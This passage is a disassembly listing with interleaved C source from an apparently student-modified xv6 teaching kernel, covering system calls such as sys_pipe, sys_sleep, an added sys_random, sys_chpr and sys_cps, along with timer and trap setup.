8010541b: 89 44 24 04 mov %eax,0x4(%esp)
8010541f: 8d 45 e0 lea -0x20(%ebp),%eax
80105422: 89 04 24 mov %eax,(%esp)
80105425: e8 a6 de ff ff call 801032d0 <pipealloc>
8010542a: 85 c0 test %eax,%eax
8010542c: 78 64 js 80105492 <sys_pipe+0xa2>
8010542e: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105435: 31 c0 xor %eax,%eax
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105437: 8b 5d e0 mov -0x20(%ebp),%ebx
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
8010543a: 8b 54 81 28 mov 0x28(%ecx,%eax,4),%edx
8010543e: 85 d2 test %edx,%edx
80105440: 74 16 je 80105458 <sys_pipe+0x68>
80105442: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
80105448: 83 c0 01 add $0x1,%eax
8010544b: 83 f8 10 cmp $0x10,%eax
8010544e: 74 2f je 8010547f <sys_pipe+0x8f>
if(proc->ofile[fd] == 0){
80105450: 8b 54 81 28 mov 0x28(%ecx,%eax,4),%edx
80105454: 85 d2 test %edx,%edx
80105456: 75 f0 jne 80105448 <sys_pipe+0x58>
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
return -1;
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80105458: 8b 7d e4 mov -0x1c(%ebp),%edi
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
8010545b: 8d 70 08 lea 0x8(%eax),%esi
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
8010545e: 31 d2 xor %edx,%edx
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
80105460: 89 5c b1 08 mov %ebx,0x8(%ecx,%esi,4)
80105464: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
80105468: 83 7c 91 28 00 cmpl $0x0,0x28(%ecx,%edx,4)
8010546d: 74 31 je 801054a0 <sys_pipe+0xb0>
static int
fdalloc(struct file *f)
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
8010546f: 83 c2 01 add $0x1,%edx
80105472: 83 fa 10 cmp $0x10,%edx
80105475: 75 f1 jne 80105468 <sys_pipe+0x78>
if(pipealloc(&rf, &wf) < 0)
return -1;
fd0 = -1;
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
proc->ofile[fd0] = 0;
80105477: c7 44 b1 08 00 00 00 movl $0x0,0x8(%ecx,%esi,4)
8010547e: 00
fileclose(rf);
8010547f: 89 1c 24 mov %ebx,(%esp)
80105482: e8 a9 b9 ff ff call 80100e30 <fileclose>
fileclose(wf);
80105487: 8b 45 e4 mov -0x1c(%ebp),%eax
8010548a: 89 04 24 mov %eax,(%esp)
8010548d: e8 9e b9 ff ff call 80100e30 <fileclose>
return -1;
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
}
80105492: 83 c4 2c add $0x2c,%esp
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
if(fd0 >= 0)
proc->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
80105495: b8 ff ff ff ff mov $0xffffffff,%eax
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
}
8010549a: 5b pop %ebx
8010549b: 5e pop %esi
8010549c: 5f pop %edi
8010549d: 5d pop %ebp
8010549e: c3 ret
8010549f: 90 nop
{
int fd;
for(fd = 0; fd < NOFILE; fd++){
if(proc->ofile[fd] == 0){
proc->ofile[fd] = f;
801054a0: 89 7c 91 28 mov %edi,0x28(%ecx,%edx,4)
proc->ofile[fd0] = 0;
fileclose(rf);
fileclose(wf);
return -1;
}
fd[0] = fd0;
801054a4: 8b 4d dc mov -0x24(%ebp),%ecx
801054a7: 89 01 mov %eax,(%ecx)
fd[1] = fd1;
801054a9: 8b 45 dc mov -0x24(%ebp),%eax
801054ac: 89 50 04 mov %edx,0x4(%eax)
return 0;
}
801054af: 83 c4 2c add $0x2c,%esp
fileclose(wf);
return -1;
}
fd[0] = fd0;
fd[1] = fd1;
return 0;
801054b2: 31 c0 xor %eax,%eax
}
801054b4: 5b pop %ebx
801054b5: 5e pop %esi
801054b6: 5f pop %edi
801054b7: 5d pop %ebp
801054b8: c3 ret
801054b9: 66 90 xchg %ax,%ax
801054bb: 66 90 xchg %ax,%ax
801054bd: 66 90 xchg %ax,%ax
801054bf: 90 nop
801054c0 <sys_fork>:
#include "proc.h"
#include "stdint.h"
#define static uint8_t seed=7;
int
sys_fork(void)
{
801054c0: 55 push %ebp
801054c1: 89 e5 mov %esp,%ebp
return fork();
}
801054c3: 5d pop %ebp
#include "stdint.h"
#define static uint8_t seed=7;
int
sys_fork(void)
{
return fork();
801054c4: e9 d7 e4 ff ff jmp 801039a0 <fork>
801054c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801054d0 <sys_exit>:
}
int
sys_exit(void)
{
801054d0: 55 push %ebp
801054d1: 89 e5 mov %esp,%ebp
801054d3: 83 ec 08 sub $0x8,%esp
exit();
801054d6: e8 45 e8 ff ff call 80103d20 <exit>
return 0; // not reached
}
801054db: 31 c0 xor %eax,%eax
801054dd: c9 leave
801054de: c3 ret
801054df: 90 nop
801054e0 <sys_wait>:
int
sys_wait(void)
{
801054e0: 55 push %ebp
801054e1: 89 e5 mov %esp,%ebp
return wait();
}
801054e3: 5d pop %ebp
}
int
sys_wait(void)
{
return wait();
801054e4: e9 77 ea ff ff jmp 80103f60 <wait>
801054e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801054f0 <sys_kill>:
}
int
sys_kill(void)
{
801054f0: 55 push %ebp
801054f1: 89 e5 mov %esp,%ebp
801054f3: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
801054f6: 8d 45 f4 lea -0xc(%ebp),%eax
801054f9: 89 44 24 04 mov %eax,0x4(%esp)
801054fd: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105504: e8 07 f3 ff ff call 80104810 <argint>
80105509: 85 c0 test %eax,%eax
8010550b: 78 13 js 80105520 <sys_kill+0x30>
return -1;
return kill(pid);
8010550d: 8b 45 f4 mov -0xc(%ebp),%eax
80105510: 89 04 24 mov %eax,(%esp)
80105513: e8 a8 eb ff ff call 801040c0 <kill>
}
80105518: c9 leave
80105519: c3 ret
8010551a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
sys_kill(void)
{
int pid;
if(argint(0, &pid) < 0)
return -1;
80105520: b8 ff ff ff ff mov $0xffffffff,%eax
return kill(pid);
}
80105525: c9 leave
80105526: c3 ret
80105527: 89 f6 mov %esi,%esi
80105529: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105530 <sys_getpid>:
int
sys_getpid(void)
{
return proc->pid;
80105530: 65 a1 04 00 00 00 mov %gs:0x4,%eax
return kill(pid);
}
int
sys_getpid(void)
{
80105536: 55 push %ebp
80105537: 89 e5 mov %esp,%ebp
return proc->pid;
}
80105539: 5d pop %ebp
}
int
sys_getpid(void)
{
return proc->pid;
8010553a: 8b 40 10 mov 0x10(%eax),%eax
}
8010553d: c3 ret
8010553e: 66 90 xchg %ax,%ax
80105540 <sys_sbrk>:
int
sys_sbrk(void)
{
80105540: 55 push %ebp
80105541: 89 e5 mov %esp,%ebp
80105543: 53 push %ebx
80105544: 83 ec 24 sub $0x24,%esp
int addr;
int n;
if(argint(0, &n) < 0)
80105547: 8d 45 f4 lea -0xc(%ebp),%eax
8010554a: 89 44 24 04 mov %eax,0x4(%esp)
8010554e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105555: e8 b6 f2 ff ff call 80104810 <argint>
8010555a: 85 c0 test %eax,%eax
8010555c: 78 22 js 80105580 <sys_sbrk+0x40>
return -1;
addr = proc->sz;
8010555e: 65 a1 04 00 00 00 mov %gs:0x4,%eax
if(growproc(n) < 0)
80105564: 8b 55 f4 mov -0xc(%ebp),%edx
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
addr = proc->sz;
80105567: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105569: 89 14 24 mov %edx,(%esp)
8010556c: e8 5f e3 ff ff call 801038d0 <growproc>
80105571: 85 c0 test %eax,%eax
80105573: 78 0b js 80105580 <sys_sbrk+0x40>
return -1;
return addr;
80105575: 89 d8 mov %ebx,%eax
}
80105577: 83 c4 24 add $0x24,%esp
8010557a: 5b pop %ebx
8010557b: 5d pop %ebp
8010557c: c3 ret
8010557d: 8d 76 00 lea 0x0(%esi),%esi
{
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
80105580: b8 ff ff ff ff mov $0xffffffff,%eax
80105585: eb f0 jmp 80105577 <sys_sbrk+0x37>
80105587: 89 f6 mov %esi,%esi
80105589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105590 <sys_sleep>:
return addr;
}
int
sys_sleep(void)
{
80105590: 55 push %ebp
80105591: 89 e5 mov %esp,%ebp
80105593: 53 push %ebx
80105594: 83 ec 24 sub $0x24,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105597: 8d 45 f4 lea -0xc(%ebp),%eax
8010559a: 89 44 24 04 mov %eax,0x4(%esp)
8010559e: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801055a5: e8 66 f2 ff ff call 80104810 <argint>
801055aa: 85 c0 test %eax,%eax
801055ac: 78 7e js 8010562c <sys_sleep+0x9c>
return -1;
acquire(&tickslock);
801055ae: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
801055b5: e8 e6 ed ff ff call 801043a0 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
801055ba: 8b 55 f4 mov -0xc(%ebp),%edx
uint ticks0;
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
801055bd: 8b 1d 20 5d 11 80 mov 0x80115d20,%ebx
while(ticks - ticks0 < n){
801055c3: 85 d2 test %edx,%edx
801055c5: 75 29 jne 801055f0 <sys_sleep+0x60>
801055c7: eb 4f jmp 80105618 <sys_sleep+0x88>
801055c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(proc->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
801055d0: c7 44 24 04 e0 54 11 movl $0x801154e0,0x4(%esp)
801055d7: 80
801055d8: c7 04 24 20 5d 11 80 movl $0x80115d20,(%esp)
801055df: e8 bc e8 ff ff call 80103ea0 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
801055e4: a1 20 5d 11 80 mov 0x80115d20,%eax
801055e9: 29 d8 sub %ebx,%eax
801055eb: 3b 45 f4 cmp -0xc(%ebp),%eax
801055ee: 73 28 jae 80105618 <sys_sleep+0x88>
if(proc->killed){
801055f0: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801055f6: 8b 40 24 mov 0x24(%eax),%eax
801055f9: 85 c0 test %eax,%eax
801055fb: 74 d3 je 801055d0 <sys_sleep+0x40>
release(&tickslock);
801055fd: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
80105604: e8 c7 ee ff ff call 801044d0 <release>
return -1;
80105609: b8 ff ff ff ff mov $0xffffffff,%eax
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
}
8010560e: 83 c4 24 add $0x24,%esp
80105611: 5b pop %ebx
80105612: 5d pop %ebp
80105613: c3 ret
80105614: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
80105618: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
8010561f: e8 ac ee ff ff call 801044d0 <release>
return 0;
}
80105624: 83 c4 24 add $0x24,%esp
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
80105627: 31 c0 xor %eax,%eax
}
80105629: 5b pop %ebx
8010562a: 5d pop %ebp
8010562b: c3 ret
{
int n;
uint ticks0;
if(argint(0, &n) < 0)
return -1;
8010562c: b8 ff ff ff ff mov $0xffffffff,%eax
80105631: eb db jmp 8010560e <sys_sleep+0x7e>
80105633: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105640 <sys_random>:
}
//I am adding this syscall
static unsigned int sys_random(void)
{
seed ^= seed << 7;//7
80105640: 0f b6 15 0c a0 10 80 movzbl 0x8010a00c,%edx
release(&tickslock);
return 0;
}
//I am adding this syscall
static unsigned int sys_random(void)
{
80105647: 55 push %ebp
80105648: 89 e5 mov %esp,%ebp
seed ^= seed << 7;//7
seed ^= seed >> 5;//5
seed ^= seed << 3;//3
return seed;
}
8010564a: 5d pop %ebp
}
//I am adding this syscall
static unsigned int sys_random(void)
{
seed ^= seed << 7;//7
8010564b: 89 d0 mov %edx,%eax
8010564d: c1 e0 07 shl $0x7,%eax
80105650: 31 d0 xor %edx,%eax
seed ^= seed >> 5;//5
80105652: 89 c2 mov %eax,%edx
80105654: c0 ea 05 shr $0x5,%dl
80105657: 31 c2 xor %eax,%edx
seed ^= seed << 3;//3
80105659: 8d 04 d5 00 00 00 00 lea 0x0(,%edx,8),%eax
80105660: 31 d0 xor %edx,%eax
80105662: a2 0c a0 10 80 mov %al,0x8010a00c
return seed;
80105667: 0f b6 c0 movzbl %al,%eax
}
8010566a: c3 ret
8010566b: 90 nop
8010566c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105670 <sys_chpr>:
//system call for changing priorty
int
sys_chpr (void)
{
80105670: 55 push %ebp
80105671: 89 e5 mov %esp,%ebp
80105673: 83 ec 28 sub $0x28,%esp
int pr;
int pid;
if(argint(0, &pid) < 0)
80105676: 8d 45 f4 lea -0xc(%ebp),%eax
80105679: 89 44 24 04 mov %eax,0x4(%esp)
8010567d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105684: e8 87 f1 ff ff call 80104810 <argint>
80105689: 85 c0 test %eax,%eax
8010568b: 78 2b js 801056b8 <sys_chpr+0x48>
return -1;
if(argint(1, &pr) < 0)
8010568d: 8d 45 f0 lea -0x10(%ebp),%eax
80105690: 89 44 24 04 mov %eax,0x4(%esp)
80105694: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010569b: e8 70 f1 ff ff call 80104810 <argint>
801056a0: 85 c0 test %eax,%eax
801056a2: 78 14 js 801056b8 <sys_chpr+0x48>
return -1;
return chpr(pid,pr);
801056a4: 8b 45 f0 mov -0x10(%ebp),%eax
801056a7: 89 44 24 04 mov %eax,0x4(%esp)
801056ab: 8b 45 f4 mov -0xc(%ebp),%eax
801056ae: 89 04 24 mov %eax,(%esp)
801056b1: e8 9a e2 ff ff call 80103950 <chpr>
}
801056b6: c9 leave
801056b7: c3 ret
sys_chpr (void)
{
int pr;
int pid;
if(argint(0, &pid) < 0)
return -1;
801056b8: b8 ff ff ff ff mov $0xffffffff,%eax
if(argint(1, &pr) < 0)
return -1;
return chpr(pid,pr);
}
801056bd: c9 leave
801056be: c3 ret
801056bf: 90 nop
801056c0 <sys_cps>:
//I am adding the cps syscall
int
sys_cps(void)
{
801056c0: 55 push %ebp
801056c1: 89 e5 mov %esp,%ebp
return cps();
}
801056c3: 5d pop %ebp
}
//I am adding the cps syscall
int
sys_cps(void)
{
return cps();
801056c4: e9 f7 e3 ff ff jmp 80103ac0 <cps>
801056c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801056d0 <sys_uptime>:
}
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
801056d0: 55 push %ebp
801056d1: 89 e5 mov %esp,%ebp
801056d3: 53 push %ebx
801056d4: 83 ec 14 sub $0x14,%esp
uint xticks;
acquire(&tickslock);
801056d7: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
801056de: e8 bd ec ff ff call 801043a0 <acquire>
xticks = ticks;
801056e3: 8b 1d 20 5d 11 80 mov 0x80115d20,%ebx
release(&tickslock);
801056e9: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
801056f0: e8 db ed ff ff call 801044d0 <release>
return xticks;
}
801056f5: 83 c4 14 add $0x14,%esp
801056f8: 89 d8 mov %ebx,%eax
801056fa: 5b pop %ebx
801056fb: 5d pop %ebp
801056fc: c3 ret
801056fd: 66 90 xchg %ax,%ax
801056ff: 90 nop
80105700 <timerinit>:
#define TIMER_RATEGEN 0x04 // mode 2, rate generator
#define TIMER_16BIT 0x30 // r/w counter 16 bits, LSB first
void
timerinit(void)
{
80105700: 55 push %ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80105701: ba 43 00 00 00 mov $0x43,%edx
80105706: 89 e5 mov %esp,%ebp
80105708: b8 34 00 00 00 mov $0x34,%eax
8010570d: 83 ec 18 sub $0x18,%esp
80105710: ee out %al,(%dx)
80105711: b8 9c ff ff ff mov $0xffffff9c,%eax
80105716: b2 40 mov $0x40,%dl
80105718: ee out %al,(%dx)
80105719: b8 2e 00 00 00 mov $0x2e,%eax
8010571e: ee out %al,(%dx)
// Interrupt 100 times/sec.
outb(TIMER_MODE, TIMER_SEL0 | TIMER_RATEGEN | TIMER_16BIT);
outb(IO_TIMER1, TIMER_DIV(100) % 256);
outb(IO_TIMER1, TIMER_DIV(100) / 256);
picenable(IRQ_TIMER);
8010571f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105726: e8 d5 da ff ff call 80103200 <picenable>
}
8010572b: c9 leave
8010572c: c3 ret
8010572d <alltraps>:
8010572d: 1e push %ds
8010572e: 06 push %es
8010572f: 0f a0 push %fs
80105731: 0f a8 push %gs
80105733: 60 pusha
80105734: 66 b8 10 00 mov $0x10,%ax
80105738: 8e d8 mov %eax,%ds
8010573a: 8e c0 mov %eax,%es
8010573c: 66 b8 18 00 mov $0x18,%ax
80105740: 8e e0 mov %eax,%fs
80105742: 8e e8 mov %eax,%gs
80105744: 54 push %esp
80105745: e8 e6 00 00 00 call 80105830 <trap>
8010574a: 83 c4 04 add $0x4,%esp
8010574d <trapret>:
8010574d: 61 popa
8010574e: 0f a9 pop %gs
80105750: 0f a1 pop %fs
80105752: 07 pop %es
80105753: 1f pop %ds
80105754: 83 c4 08 add $0x8,%esp
80105757: cf iret
80105758: 66 90 xchg %ax,%ax
8010575a: 66 90 xchg %ax,%ax
8010575c: 66 90 xchg %ax,%ax
8010575e: 66 90 xchg %ax,%ax
80105760 <tvinit>:
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
80105760: 31 c0 xor %eax,%eax
80105762: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
80105768: 8b 14 85 0d a0 10 80 mov -0x7fef5ff3(,%eax,4),%edx
8010576f: b9 08 00 00 00 mov $0x8,%ecx
80105774: 66 89 0c c5 22 55 11 mov %cx,-0x7feeaade(,%eax,8)
8010577b: 80
8010577c: c6 04 c5 24 55 11 80 movb $0x0,-0x7feeaadc(,%eax,8)
80105783: 00
80105784: c6 04 c5 25 55 11 80 movb $0x8e,-0x7feeaadb(,%eax,8)
8010578b: 8e
8010578c: 66 89 14 c5 20 55 11 mov %dx,-0x7feeaae0(,%eax,8)
80105793: 80
80105794: c1 ea 10 shr $0x10,%edx
80105797: 66 89 14 c5 26 55 11 mov %dx,-0x7feeaada(,%eax,8)
8010579e: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
8010579f: 83 c0 01 add $0x1,%eax
801057a2: 3d 00 01 00 00 cmp $0x100,%eax
801057a7: 75 bf jne 80105768 <tvinit+0x8>
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
801057a9: 55 push %ebp
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801057aa: ba 08 00 00 00 mov $0x8,%edx
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
801057af: 89 e5 mov %esp,%ebp
801057b1: 83 ec 18 sub $0x18,%esp
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801057b4: a1 0d a1 10 80 mov 0x8010a10d,%eax
initlock(&tickslock, "time");
801057b9: c7 44 24 04 a5 77 10 movl $0x801077a5,0x4(%esp)
801057c0: 80
801057c1: c7 04 24 e0 54 11 80 movl $0x801154e0,(%esp)
{
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801057c8: 66 89 15 22 57 11 80 mov %dx,0x80115722
801057cf: 66 a3 20 57 11 80 mov %ax,0x80115720
801057d5: c1 e8 10 shr $0x10,%eax
801057d8: c6 05 24 57 11 80 00 movb $0x0,0x80115724
801057df: c6 05 25 57 11 80 ef movb $0xef,0x80115725
801057e6: 66 a3 26 57 11 80 mov %ax,0x80115726
initlock(&tickslock, "time");
801057ec: e8 2f eb ff ff call 80104320 <initlock>
}
801057f1: c9 leave
801057f2: c3 ret
801057f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801057f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105800 <idtinit>:
void
idtinit(void)
{
80105800: 55 push %ebp
static inline void
lidt(struct gatedesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
80105801: b8 ff 07 00 00 mov $0x7ff,%eax
80105806: 89 e5 mov %esp,%ebp
80105808: 83 ec 10 sub $0x10,%esp
8010580b: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
8010580f: b8 20 55 11 80 mov $0x80115520,%eax
80105814: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105818: c1 e8 10 shr $0x10,%eax
8010581b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
8010581f: 8d 45 fa lea -0x6(%ebp),%eax
80105822: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105825: c9 leave
80105826: c3 ret
80105827: 89 f6 mov %esi,%esi
80105829: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105830 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80105830: 55 push %ebp
80105831: 89 e5 mov %esp,%ebp
80105833: 57 push %edi
80105834: 56 push %esi
80105835: 53 push %ebx
80105836: 83 ec 2c sub $0x2c,%esp
80105839: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
8010583c: 8b 43 30 mov 0x30(%ebx),%eax
8010583f: 83 f8 40 cmp $0x40,%eax
80105842: 0f 84 00 01 00 00 je 80105948 <trap+0x118>
if(proc->killed)
exit();
return;
}
switch(tf->trapno){
80105848: 83 e8 20 sub $0x20,%eax
8010584b: 83 f8 1f cmp $0x1f,%eax
8010584e: 77 60 ja 801058b0 <trap+0x80>
80105850: ff 24 85 4c 78 10 80 jmp *-0x7fef87b4(,%eax,4)
80105857: 90 nop
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
80105858: e8 03 cf ff ff call 80102760 <cpunum>
8010585d: 85 c0 test %eax,%eax
8010585f: 90 nop
80105860: 0f 84 d2 01 00 00 je 80105a38 <trap+0x208>
acquire(&tickslock);
ticks++;
wakeup(&ticks);
release(&tickslock);
}
lapiceoi();
80105866: e8 95 cf ff ff call 80102800 <lapiceoi>
8010586b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80105871: 85 c0 test %eax,%eax
80105873: 74 2d je 801058a2 <trap+0x72>
80105875: 8b 50 24 mov 0x24(%eax),%edx
80105878: 85 d2 test %edx,%edx
8010587a: 0f 85 9c 00 00 00 jne 8010591c <trap+0xec>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80105880: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105884: 0f 84 86 01 00 00 je 80105a10 <trap+0x1e0>
yield();
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
8010588a: 8b 40 24 mov 0x24(%eax),%eax
8010588d: 85 c0 test %eax,%eax
8010588f: 74 11 je 801058a2 <trap+0x72>
80105891: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105895: 83 e0 03 and $0x3,%eax
80105898: 66 83 f8 03 cmp $0x3,%ax
8010589c: 0f 84 d0 00 00 00 je 80105972 <trap+0x142>
exit();
}
801058a2: 83 c4 2c add $0x2c,%esp
801058a5: 5b pop %ebx
801058a6: 5e pop %esi
801058a7: 5f pop %edi
801058a8: 5d pop %ebp
801058a9: c3 ret
801058aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapiceoi();
break;
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
801058b0: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
801058b7: 85 c9 test %ecx,%ecx
801058b9: 0f 84 a9 01 00 00 je 80105a68 <trap+0x238>
801058bf: f6 43 3c 03 testb $0x3,0x3c(%ebx)
801058c3: 0f 84 9f 01 00 00 je 80105a68 <trap+0x238>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
801058c9: 0f 20 d7 mov %cr2,%edi
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801058cc: 8b 73 38 mov 0x38(%ebx),%esi
801058cf: e8 8c ce ff ff call 80102760 <cpunum>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
801058d4: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801058db: 89 7c 24 1c mov %edi,0x1c(%esp)
801058df: 89 74 24 18 mov %esi,0x18(%esp)
801058e3: 89 44 24 14 mov %eax,0x14(%esp)
801058e7: 8b 43 34 mov 0x34(%ebx),%eax
801058ea: 89 44 24 10 mov %eax,0x10(%esp)
801058ee: 8b 43 30 mov 0x30(%ebx),%eax
801058f1: 89 44 24 0c mov %eax,0xc(%esp)
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
801058f5: 8d 42 6c lea 0x6c(%edx),%eax
801058f8: 89 44 24 08 mov %eax,0x8(%esp)
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801058fc: 8b 42 10 mov 0x10(%edx),%eax
801058ff: c7 04 24 08 78 10 80 movl $0x80107808,(%esp)
80105906: 89 44 24 04 mov %eax,0x4(%esp)
8010590a: e8 41 ad ff ff call 80100650 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
rcr2());
proc->killed = 1;
8010590f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105915: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
8010591c: 0f b7 53 3c movzwl 0x3c(%ebx),%edx
80105920: 83 e2 03 and $0x3,%edx
80105923: 66 83 fa 03 cmp $0x3,%dx
80105927: 0f 85 53 ff ff ff jne 80105880 <trap+0x50>
exit();
8010592d: e8 ee e3 ff ff call 80103d20 <exit>
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80105932: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105938: 85 c0 test %eax,%eax
8010593a: 0f 85 40 ff ff ff jne 80105880 <trap+0x50>
80105940: e9 5d ff ff ff jmp 801058a2 <trap+0x72>
80105945: 8d 76 00 lea 0x0(%esi),%esi
